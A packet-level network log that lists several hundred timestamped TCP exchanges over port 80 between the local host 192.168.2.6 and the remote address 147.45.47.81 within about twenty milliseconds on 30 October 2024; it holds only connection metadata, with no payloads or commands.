Oct 30, 2024 15:44:45.970330954 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970336914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970362902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970366001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970376015 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970376968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970388889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970401049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970411062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970413923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.970473051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.970819950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.971230984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971241951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971252918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971277952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.971307993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.971319914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971332073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971343040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971349001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971362114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971371889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971384048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.971390963 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.971430063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.971502066 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972143888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972263098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972301960 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972302914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972313881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972347021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972424984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972435951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972443104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972449064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972455978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972465992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972477913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.972493887 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972518921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.972826004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.973210096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973221064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973234892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973247051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973263025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973263025 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.973274946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973287106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973289013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.973298073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973310947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973318100 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.973323107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.973361015 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.973540068 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974112988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974132061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974183083 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974261045 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974284887 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974294901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974328995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974339962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974370956 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974452972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974464893 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974476099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974487066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974502087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974510908 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974514008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974526882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.974526882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.974546909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.975105047 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.975431919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975444078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975455046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975490093 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.975522041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.975528002 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975539923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975558043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975570917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975577116 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.975581884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975589037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975595951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.975671053 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976114988 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976339102 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976351976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976362944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976382017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976391077 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976394892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976398945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976406097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976418018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976433992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976435900 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976448059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976454973 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976460934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.976492882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.976608992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.977152109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.977395058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977415085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977427006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977437973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977442026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.977449894 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977456093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977457047 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.977463961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977469921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977477074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977483988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.977539062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.977649927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978220940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978231907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978243113 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978261948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978264093 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978274107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978290081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978291988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978312969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978312969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978326082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978338957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978348017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978351116 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.978375912 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.978657007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979217052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979266882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979269981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979401112 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979437113 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979506016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979517937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979535103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979547024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979553938 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979558945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979571104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979578972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979583025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979594946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979603052 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979608059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.979631901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.979953051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.980376005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980417013 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.980485916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980503082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980515957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980526924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980540037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980551958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980557919 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.980564117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980575085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980588913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.980601072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.980624914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.980722904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981354952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981374025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981394053 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981497049 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981503963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981514931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981527090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981537104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981548071 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981549978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981560946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981570005 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981574059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981585979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.981601954 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.981621981 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982187033 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982332945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982371092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982372999 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982383966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982412100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982419968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982424021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982439995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982456923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982491970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982502937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982512951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982523918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.982542992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.982553959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.983287096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983318090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983330965 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983345985 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.983359098 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.983380079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983390093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983401060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983407021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983431101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983443022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983474970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.983498096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.983747959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984333992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984380960 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984414101 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984426022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984457970 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984484911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984497070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984507084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984539032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984555006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984569073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984575987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984575987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984580040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984594107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984605074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.984606028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.984630108 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985410929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985421896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985431910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985464096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985471964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985481024 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985493898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985506058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985517025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985528946 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985529900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985542059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985554934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.985555887 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985577106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.985778093 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986345053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986355066 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986382961 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986423016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986433983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986444950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986457109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986466885 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986470938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986489058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986495018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986500978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986510992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986521959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.986530066 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.986546040 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.987400055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987411976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987422943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987435102 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987447023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987448931 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.987458944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987469912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987476110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.987481117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987493038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987493992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.987505913 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.987513065 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.987526894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.988296986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988308907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988321066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988328934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.988332033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988339901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988346100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988348007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.988352060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988358974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988363981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988370895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.988426924 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.988476992 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989120007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989161968 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989185095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989360094 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989371061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989382029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989399910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989427090 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989464998 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989478111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989489079 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989500046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989501953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989511967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989523888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989536047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.989551067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.989574909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990216017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990263939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990356922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990369081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990380049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990391016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990402937 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990405083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990417004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990427017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990430117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990441084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990451097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990453005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.990475893 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.990706921 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.991002083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991039991 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:45.991111994 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991122961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991133928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991154909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:45.991158962 CET	49995	80	192.168.2.6	147.45.47.81
